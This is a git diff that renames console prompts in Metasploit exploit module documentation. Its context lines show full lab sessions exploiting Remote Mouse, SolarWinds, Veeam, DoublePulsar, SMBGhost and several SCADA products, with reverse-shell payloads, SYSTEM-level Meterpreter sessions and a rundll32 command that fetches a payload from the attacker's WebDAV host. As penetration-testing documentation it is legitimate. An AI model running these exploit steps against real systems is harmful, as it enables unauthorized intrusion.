a/documentation/modules/exploit/windows/misc/remote_control_collection_rce.md b/documentation/modules/exploit/windows/misc/remote_control_collection_rce.md index c158495457ecd..72dc2d38f361c 100644 --- a/documentation/modules/exploit/windows/misc/remote_control_collection_rce.md +++ b/documentation/modules/exploit/windows/misc/remote_control_collection_rce.md @@ -42,7 +42,7 @@ resource (remote_mouse.rb)> set lhost 2.2.2.2 lhost => 2.2.2.2 resource (remote_mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/remote_mouse_rce) > run +msf exploit(windows/misc/remote_mouse_rce) > run [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable) @@ -92,7 +92,7 @@ resource (remote_control_collection.rb)> set lhost 2.2.2.2 lhost => 2.2.2.2 resource (remote_control_collection.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/remote_control_collection_rce) > exploit +msf exploit(windows/misc/remote_control_collection_rce) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] Connecting and Sending Windows key diff --git a/documentation/modules/exploit/windows/misc/remote_mouse_rce.md b/documentation/modules/exploit/windows/misc/remote_mouse_rce.md index ea63ece140beb..c877e0aa56db2 100644 --- a/documentation/modules/exploit/windows/misc/remote_mouse_rce.md +++ b/documentation/modules/exploit/windows/misc/remote_mouse_rce.md @@ -42,7 +42,7 @@ resource (remote_mouse.rb)> set lhost 192.168.2.199 lhost => 192.168.2.199 resource (remote_mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/remote_mouse_rce) > run +msf exploit(windows/misc/remote_mouse_rce) > run [*] Started reverse TCP handler on 192.168.2.199:4444 [*] 192.168.2.95:1978 - Running automatic check ("set AutoCheck false" to disable) @@ -91,7 +91,7 @@ resource (remote_mouse.rb)> set lhost 192.168.2.199 lhost => 192.168.2.199 resource (remote_mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/remote_mouse_rce) > exploit +msf exploit(windows/misc/remote_mouse_rce) > exploit [*] Started reverse TCP handler on 192.168.2.199:4444 [*] 192.168.2.95:1978 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/misc/solarwinds_amqp_deserialization.md b/documentation/modules/exploit/windows/misc/solarwinds_amqp_deserialization.md index 04e57feed4349..0ce89dd771408 100644 --- a/documentation/modules/exploit/windows/misc/solarwinds_amqp_deserialization.md +++ b/documentation/modules/exploit/windows/misc/solarwinds_amqp_deserialization.md @@ -25,21 +25,21 @@ message whose body is a serialized .NET object which can lead to OS command exec ### SolarWinds Orion NPM 2020.2.6 on Windows Server 2019 x64 ``` -msf6 > use exploit/windows/misc/solarwinds_amqp_deserialization +msf > use exploit/windows/misc/solarwinds_amqp_deserialization [*] Using configured payload cmd/windows/powershell/x64/meterpreter/reverse_tcp -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set RHOSTS 192.168.159.17 +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set RHOSTS 192.168.159.17 RHOSTS => 192.168.159.17 -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set USERNAME hax +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set USERNAME hax USERNAME => hax -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set PASSWORD Password1! +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set PASSWORD Password1! PASSWORD => Password1! -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set VERBOSE true +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set VERBOSE true VERBOSE => true -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set PAYLOAD cmd/windows/powershell/meterpreter/reverse_tcp +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set PAYLOAD cmd/windows/powershell/meterpreter/reverse_tcp PAYLOAD => cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > set LHOST 192.168.159.128 +msf exploit(windows/misc/solarwinds_amqp_deserialization) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/misc/solarwinds_amqp_deserialization) > run +msf exploit(windows/misc/solarwinds_amqp_deserialization) > run [*] Powershell command length: 4175 [*] Started reverse TCP handler on 192.168.159.128:4444 diff --git a/documentation/modules/exploit/windows/misc/tiny_identd_overflow.md b/documentation/modules/exploit/windows/misc/tiny_identd_overflow.md index 908efbb240420..c242c418259d1 100644 --- a/documentation/modules/exploit/windows/misc/tiny_identd_overflow.md +++ b/documentation/modules/exploit/windows/misc/tiny_identd_overflow.md @@ -29,8 +29,8 @@ ### TinyIdentD 2.2 on Windows XP SP0 - English (x86) ``` - msf5 > use exploit/windows/misc/tiny_identd_overflow - msf5 exploit(windows/misc/tiny_identd_overflow) > show targets + msf > use exploit/windows/misc/tiny_identd_overflow + msf exploit(windows/misc/tiny_identd_overflow) > show targets Exploit targets: @@ -46,11 +46,11 @@ 7 Windows XP SP2 - Italian - msf5 exploit(windows/misc/tiny_identd_overflow) > set target 5 + msf exploit(windows/misc/tiny_identd_overflow) > set target 5 target => 5 - msf5 exploit(windows/misc/tiny_identd_overflow) > set rhosts 172.16.191.140 + msf exploit(windows/misc/tiny_identd_overflow) > set rhosts 172.16.191.140 rhosts => 172.16.191.140 - msf5 exploit(windows/misc/tiny_identd_overflow) > run + msf exploit(windows/misc/tiny_identd_overflow) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 172.16.191.140:113 - Trying Windows XP SP0/1 - English using address at 0x71aa1a97 ... diff --git a/documentation/modules/exploit/windows/misc/unified_remote_rce.md b/documentation/modules/exploit/windows/misc/unified_remote_rce.md index 01891e8839e94..43d45504dae8f 100644 --- a/documentation/modules/exploit/windows/misc/unified_remote_rce.md +++ b/documentation/modules/exploit/windows/misc/unified_remote_rce.md @@ -72,7 +72,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > run +msf exploit(windows/misc/unified_remote_rce) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-ASvxWyO708Rv4x0j @@ -115,7 +115,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > exploit +msf exploit(windows/misc/unified_remote_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-s5IbpVuRf1MJzqRs @@ -167,7 +167,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > exploit +msf exploit(windows/misc/unified_remote_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-ergZhp49nDBmGXz8 @@ -215,7 +215,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > exploit +msf exploit(windows/misc/unified_remote_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-Mmw9X2FSLLPzJk6t @@ -263,7 +263,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > exploit +msf exploit(windows/misc/unified_remote_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-EIC1Bc3pwL4U4Pnj @@ -306,7 +306,7 @@ resource (unified.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (unified.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/unified_remote_rce) > exploit +msf exploit(windows/misc/unified_remote_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:9512 - Client name set to: android-iJP3rW13dKjtf8Xz diff --git a/documentation/modules/exploit/windows/misc/veeam_one_agent_deserialization.md b/documentation/modules/exploit/windows/misc/veeam_one_agent_deserialization.md index 58f97ac411bd3..c3361bf893040 100644 --- a/documentation/modules/exploit/windows/misc/veeam_one_agent_deserialization.md +++ b/documentation/modules/exploit/windows/misc/veeam_one_agent_deserialization.md @@ -55,8 +55,8 @@ if your environment is different. ### Veeam ONE Agent 10.0.0.750 on Windows 10 x64 ``` -msf5 > use exploit/windows/misc/veeam_one_agent_deserialization -msf5 exploit(windows/misc/veeam_one_agent_deserialization) > options +msf > use exploit/windows/misc/veeam_one_agent_deserialization +msf exploit(windows/misc/veeam_one_agent_deserialization) > options Module options (exploit/windows/misc/veeam_one_agent_deserialization): @@ -88,11 +88,11 @@ Exploit target: 2 PowerShell Stager -msf5 exploit(windows/misc/veeam_one_agent_deserialization) > set rhosts 172.16.249.150 +msf exploit(windows/misc/veeam_one_agent_deserialization) > set rhosts 172.16.249.150 rhosts => 172.16.249.150 -msf5 exploit(windows/misc/veeam_one_agent_deserialization) > set lhost 172.16.249.1 +msf exploit(windows/misc/veeam_one_agent_deserialization) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(windows/misc/veeam_one_agent_deserialization) > run +msf exploit(windows/misc/veeam_one_agent_deserialization) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] 172.16.249.150:2805 - Connecting to 172.16.249.150:2805 diff --git a/documentation/modules/exploit/windows/misc/webdav_delivery.md b/documentation/modules/exploit/windows/misc/webdav_delivery.md index a61275d56a131..d089def406efd 100644 --- a/documentation/modules/exploit/windows/misc/webdav_delivery.md +++ b/documentation/modules/exploit/windows/misc/webdav_delivery.md @@ -19,11 +19,11 @@ and then getting a session back. # Demo ``` -msf5 exploit(windows/misc/webdav_delivery) > run +msf exploit(windows/misc/webdav_delivery) > run [*] Exploit running as background job 3. [*] Started reverse TCP handler on 172.16.249.1:4444 -msf5 exploit(windows/misc/webdav_delivery) > [*] Using URL: http://172.16.249.1:8080/ +msf exploit(windows/misc/webdav_delivery) > [*] Using URL: http://172.16.249.1:8080/ [*] Server started. [*] Run the following command on the target machine: rundll32.exe \\172.16.249.1@8080\ANYTHING,Init @@ -31,7 +31,7 @@ rundll32.exe \\172.16.249.1@8080\ANYTHING,Init [*] Sending stage (180291 bytes) to 172.16.249.130 [*] Meterpreter session 4 opened (172.16.249.1:4444 -> 172.16.249.130:49219) at 2018-12-12 13:25:06 -0600 -msf5 exploit(windows/misc/webdav_delivery) > sessions +msf exploit(windows/misc/webdav_delivery) > sessions Active sessions =============== @@ -40,5 +40,5 @@ Active sessions -- ---- ---- ----------- ---------- 4 meterpreter x86/windows 172.16.249.1:4444 -> 172.16.249.130:49219 (172.16.249.130) -msf5 exploit(windows/misc/webdav_delivery) > +msf exploit(windows/misc/webdav_delivery) > ``` diff --git a/documentation/modules/exploit/windows/misc/wifi_mouse_rce.md b/documentation/modules/exploit/windows/misc/wifi_mouse_rce.md index 089f7d05e5e95..8726f2a0085cc 100644 --- a/documentation/modules/exploit/windows/misc/wifi_mouse_rce.md +++ b/documentation/modules/exploit/windows/misc/wifi_mouse_rce.md @@ -62,7 +62,7 @@ resource (mouse.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/wifi_mouse_rce) > run +msf exploit(windows/misc/wifi_mouse_rce) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:1978 - Opening command prompt @@ -106,9 +106,9 @@ resource (mouse.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (mouse.rb)> set CMDSTAGER::FLAVOR certutil CMDSTAGER::FLAVOR => certutil -msf6 exploit(windows/misc/wifi_mouse_rce) > set verbose false +msf exploit(windows/misc/wifi_mouse_rce) > set verbose false verbose => false -msf6 exploit(windows/misc/wifi_mouse_rce) > run +msf exploit(windows/misc/wifi_mouse_rce) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] 2.2.2.2:1978 - Opening command prompt diff --git a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md index 4fed51fe31005..5bd3c43c7abfa 100644 --- a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md +++ b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md @@ -27,7 +27,7 @@ exploit the service an unlimited amount of times. ### Windows 10 x64 ``` -msf5 exploit(windows/nimsoft/nimcontroller_bof) > options +msf exploit(windows/nimsoft/nimcontroller_bof) > options Module options (exploit/windows/nimsoft/nimcontroller_bof): @@ -55,7 +55,7 @@ Exploit target: 0 Windows Universal (x64) - v7.80.3132 -msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit +msf exploit(windows/nimsoft/nimcontroller_bof) > exploit [*] Started HTTPS reverse handler on https://A.B.C.D:8443 [*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override) @@ -94,9 +94,9 @@ meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... -msf5 exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\ +msf exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\ DIRECTORY => C:\Users\ -msf5 exploit(windows/nimsoft/nimcontroller_bof) > check +msf exploit(windows/nimsoft/nimcontroller_bof) > check [*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_fu.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_fu.md index 12446fe3b55ad..dfd840eaa3cd7 100644 --- a/documentation/modules/exploit/windows/nuuo/nuuo_cms_fu.md +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_fu.md @@ -35,11 +35,11 @@ This module will either use a provided session number (which can be guessed with ### Testing on Windows 10 Pro x64 running NCS Server 2.4.0 ``` -msf5 exploit(windows/nuuo/nuuo_cms_fu) > set rhosts 172.22.222.200 +msf exploit(windows/nuuo/nuuo_cms_fu) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 exploit(windows/nuuo/nuuo_cms_fu) > set verbose true +msf exploit(windows/nuuo/nuuo_cms_fu) > set verbose true verbose => true -msf5 exploit(windows/nuuo/nuuo_cms_fu) > exploit +msf exploit(windows/nuuo/nuuo_cms_fu) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] 172.22.222.200:5180 - Backing up LicenseTool.dll to TQzixBdpOiRG diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md index 984df4036d931..283786d62026e 100644 --- a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md @@ -54,11 +54,11 @@ The following versions were tested: ### Tested on Windows 10 Pro x64 running NCS Server 2.4.0 ``` -msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200 +msf exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136 +msf exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136 srvhost => 172.22.222.136 -msf5 exploit(windows/nuuo/nuuo_cms_sqli) > exploit +msf exploit(windows/nuuo/nuuo_cms_sqli) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] 172.22.222.200:5180 - Starting up our web service on http://172.22.222.136:8080/YxAxhLwOUeKzH ... diff --git a/documentation/modules/exploit/windows/rdp/rdp_doublepulsar_rce.md b/documentation/modules/exploit/windows/rdp/rdp_doublepulsar_rce.md index ff3ac7c32060a..805b37bf14412 100644 --- a/documentation/modules/exploit/windows/rdp/rdp_doublepulsar_rce.md +++ b/documentation/modules/exploit/windows/rdp/rdp_doublepulsar_rce.md @@ -32,7 +32,7 @@ Defaults to `spoolsv.exe`. Pinging the implant: ``` -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > check +msf exploit(windows/rdp/rdp_doublepulsar_rce) > check [*] 192.168.56.115:3389 - Verifying RDP protocol... [*] 192.168.56.115:3389 - Attempting to connect using TLS security @@ -41,15 +41,15 @@ msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > check [!] 192.168.56.115:3389 - DOUBLEPULSAR RDP IMPLANT DETECTED!!! [+] 192.168.56.115:3389 - Target is Windows Server 6.1.7601 SP1 x64 [+] 192.168.56.115:3389 - The target is vulnerable. -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > +msf exploit(windows/rdp/rdp_doublepulsar_rce) > ``` Executing a payload: ``` -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > set target Execute\ payload +msf exploit(windows/rdp/rdp_doublepulsar_rce) > set target Execute\ payload target => Execute payload -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > run +msf exploit(windows/rdp/rdp_doublepulsar_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.115:3389 - Verifying RDP protocol... @@ -81,9 +81,9 @@ meterpreter > Neutralizing the implant: ``` -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > set target Neutralize\ implant +msf exploit(windows/rdp/rdp_doublepulsar_rce) > set target Neutralize\ implant target => Neutralize implant -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > run +msf exploit(windows/rdp/rdp_doublepulsar_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.115:3389 - Verifying RDP protocol... @@ -95,5 +95,5 @@ msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > run [*] 192.168.56.115:3389 - Neutralizing DOUBLEPULSAR [+] 192.168.56.115:3389 - Implant neutralization successful [*] Exploit completed, but no session was created. -msf5 exploit(windows/rdp/rdp_doublepulsar_rce) > +msf exploit(windows/rdp/rdp_doublepulsar_rce) > ``` diff --git a/documentation/modules/exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec.md b/documentation/modules/exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec.md index 20e941dd3389b..26831af4f9017 100644 --- a/documentation/modules/exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec.md +++ b/documentation/modules/exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec.md @@ -19,9 +19,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Sage X3 on Windows Server 2016 ``` -msf6 > use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec +msf > use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec [*] Using configured payload cmd/windows/generic -msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > options +msf exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > options Module options (exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec): @@ -45,11 +45,11 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rhosts 172.16.57.6 +msf exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rhosts 172.16.57.6 rhosts => 172.16.57.6 -msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rport 50000 +msf exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rport 50000 rport => 50000 -msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > run +msf exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > run [*] 172.16.57.6:50000 - Connected [+] 172.16.57.6:50000 - ADXDIR authentication successful. @@ -60,5 +60,5 @@ msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > run [*] 172.16.57.6:50000 - nt authority\system [!] 172.16.57.6:50000 - This exploit may require manual cleanup of 'D:\Sage\SafeX3\AdxAdmin\tmp' on the target [*] Exploit completed, but no session was created. -msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > +msf exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > ``` diff --git a/documentation/modules/exploit/windows/scada/diaenergie_sqli.md b/documentation/modules/exploit/windows/scada/diaenergie_sqli.md index dd7aef7462708..af24c78031cd4 100644 --- a/documentation/modules/exploit/windows/scada/diaenergie_sqli.md +++ b/documentation/modules/exploit/windows/scada/diaenergie_sqli.md @@ -30,10 +30,10 @@ For the product to work correctly, SQL Server (e.g., SQL Server Express) needs t 3. Start `msfconsole` and run the following commands: ``` -msf6 > use exploit/windows/scada/diaenergie_sqli +msf > use exploit/windows/scada/diaenergie_sqli [*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/scada/diaenergie_sqli) > set RHOSTS -msf6 exploit(windows/scada/diaenergie_sqli) > exploit +msf exploit(windows/scada/diaenergie_sqli) > set RHOSTS +msf exploit(windows/scada/diaenergie_sqli) > exploit ``` You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`. @@ -44,7 +44,7 @@ Running the exploit against DIAEnergie v1.10 on Windows 10 22H2, using curl as a following: ``` -msf6 exploit(windows/scada/diaenergie_sqli) > exploit +msf exploit(windows/scada/diaenergie_sqli) > exploit [*] Started reverse TCP handler on 192.168.1.241:4444 [*] 192.168.1.245:928 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/scada/mypro_cmdexe.md b/documentation/modules/exploit/windows/scada/mypro_cmdexe.md index b52f0f58d97a3..3bc540ae39714 100644 --- a/documentation/modules/exploit/windows/scada/mypro_cmdexe.md +++ b/documentation/modules/exploit/windows/scada/mypro_cmdexe.md @@ -32,10 +32,10 @@ For the product to work correctly, the project and log directories need to be co 3. Start `msfconsole` and run the following commands: ``` -msf6 > use exploit/windows/scada/mypro_cmdexe +msf > use exploit/windows/scada/mypro_cmdexe [*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/scada/mypro_cmdexe) > set RHOSTS -msf6 exploit(windows/scada/mypro_cmdexe) > exploit +msf exploit(windows/scada/mypro_cmdexe) > set RHOSTS +msf exploit(windows/scada/mypro_cmdexe) > exploit ``` You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`. @@ -55,7 +55,7 @@ Running the exploit against MyPRO v8.28.0 on Windows 10 22H2, using curl as a fe following: ``` -msf6 exploit(windows/scada/mypro_cmdexe) > exploit +msf exploit(windows/scada/mypro_cmdexe) > exploit [*] Started reverse TCP handler on 192.168.1.241:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md index e14fe387e5fc9..d47fa16197146 100644 --- a/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md +++ b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md @@ -26,9 +26,9 @@ A trial version of the software can be obtained from [the vendor](https://www.my 3. Start `msfconsole` and run the following commands: ``` -msf6 > use exploit/windows/scada/mypro_mgr_cmd -msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS -msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit +msf > use exploit/windows/scada/mypro_mgr_cmd +msf exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS +msf exploit(windows/scada/mypro_mgr_cmd) > exploit ``` You should get a meterpreter session in the context of `myscada9`. @@ -39,7 +39,7 @@ Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fe following: ``` -msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit +msf exploit(windows/scada/mypro_mgr_cmd) > exploit [*] Started reverse TCP handler on 192.168.1.227:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/scada/rockwell_factorytalk_rce.md b/documentation/modules/exploit/windows/scada/rockwell_factorytalk_rce.md index 1fef7564203ad..21450db35125c 100644 --- a/documentation/modules/exploit/windows/scada/rockwell_factorytalk_rce.md +++ b/documentation/modules/exploit/windows/scada/rockwell_factorytalk_rce.md @@ -22,19 +22,19 @@ This exploit was only tested on version 11.00.00.230. According to a Google sear ### Example run (Rockwell FactoryTalk View SE SCADA version 11.00.00.230 on Windows Server 2012 R2 x64) ``` -msf6 > use exploit/windows/scada/rockwell +msf > use exploit/windows/scada/rockwell [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/scada/rockwell) > set rhost 192.168.70.128 +msf exploit(windows/scada/rockwell) > set rhost 192.168.70.128 rhost => 192.168.70.128 -msf6 exploit(windows/scada/rockwell) > set lhost 192.168.70.1 +msf exploit(windows/scada/rockwell) > set lhost 192.168.70.1 lhost => 192.168.70.1 -msf6 exploit(windows/scada/rockwell) > set srvhost 192.168.70.1 +msf exploit(windows/scada/rockwell) > set srvhost 192.168.70.1 srvhost => 192.168.70.1 -msf6 exploit(windows/scada/rockwell) > check +msf exploit(windows/scada/rockwell) > check [*] 192.168.70.128:80 - Detected version 11.00.00.230 [*] 192.168.70.128:80 - The target appears to be vulnerable. -msf6 exploit(windows/scada/rockwell) > run +msf exploit(windows/scada/rockwell) > run [*] Started reverse TCP handler on 192.168.70.1:4444 [*] 192.168.70.128:80 - Listing projects on the server diff --git a/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md b/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md index 30da8e6ee803a..a43dfeaa58894 100644 --- a/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md +++ b/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md @@ -57,15 +57,15 @@ The exploit is based on [this PoC][2] and [this research][3]. At a high level th ### Windows 10 Version 1909 Build 18363.418 x64 ``` -msf6 > use exploit/windows/smb/cve_2020_0796_smbghost +msf > use exploit/windows/smb/cve_2020_0796_smbghost [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76 +msf exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76 RHOSTS => 192.168.159.76 -msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128 +msf exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit +msf exploit(windows/smb/cve_2020_0796_smbghost) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/smb/smb_doublepulsar_rce.md b/documentation/modules/exploit/windows/smb/smb_doublepulsar_rce.md index 68e3ce776c3be..a2224899bf602 100644 --- a/documentation/modules/exploit/windows/smb/smb_doublepulsar_rce.md +++ b/documentation/modules/exploit/windows/smb/smb_doublepulsar_rce.md @@ -32,22 +32,22 @@ Defaults to `spoolsv.exe`. Pinging the implant: ``` -msf5 exploit(windows/smb/smb_doublepulsar_rce) > check +msf exploit(windows/smb/smb_doublepulsar_rce) > check [+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048 [*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1 [*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR [!] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64 [+] 192.168.56.115:445 - The target is vulnerable. -msf5 exploit(windows/smb/smb_doublepulsar_rce) > +msf exploit(windows/smb/smb_doublepulsar_rce) > ``` Executing a payload: ``` -msf5 exploit(windows/smb/smb_doublepulsar_rce) > set target Execute\ payload +msf exploit(windows/smb/smb_doublepulsar_rce) > set target Execute\ payload target => Execute payload -msf5 exploit(windows/smb/smb_doublepulsar_rce) > run +msf exploit(windows/smb/smb_doublepulsar_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048 @@ -78,9 +78,9 @@ meterpreter > Neutralizing the implant: ``` -msf5 exploit(windows/smb/smb_doublepulsar_rce) > set target Neutralize\ implant +msf exploit(windows/smb/smb_doublepulsar_rce) > set target Neutralize\ implant target => Neutralize implant -msf5 exploit(windows/smb/smb_doublepulsar_rce) > run +msf exploit(windows/smb/smb_doublepulsar_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048 @@ -90,5 +90,5 @@ msf5 exploit(windows/smb/smb_doublepulsar_rce) > run [*] 192.168.56.115:445 - Neutralizing DOUBLEPULSAR [+] 192.168.56.115:445 - Implant neutralization successful [*] Exploit completed, but no session was created. -msf5 exploit(windows/smb/smb_doublepulsar_rce) > +msf exploit(windows/smb/smb_doublepulsar_rce) > ``` diff --git a/documentation/modules/exploit/windows/smb/smb_relay.md b/documentation/modules/exploit/windows/smb/smb_relay.md index 69599b27554e2..3e0b27329a54c 100644 --- a/documentation/modules/exploit/windows/smb/smb_relay.md +++ b/documentation/modules/exploit/windows/smb/smb_relay.md @@ -1,7 +1,7 @@ ## Vulnerable Application This module supports running an SMB server which validates 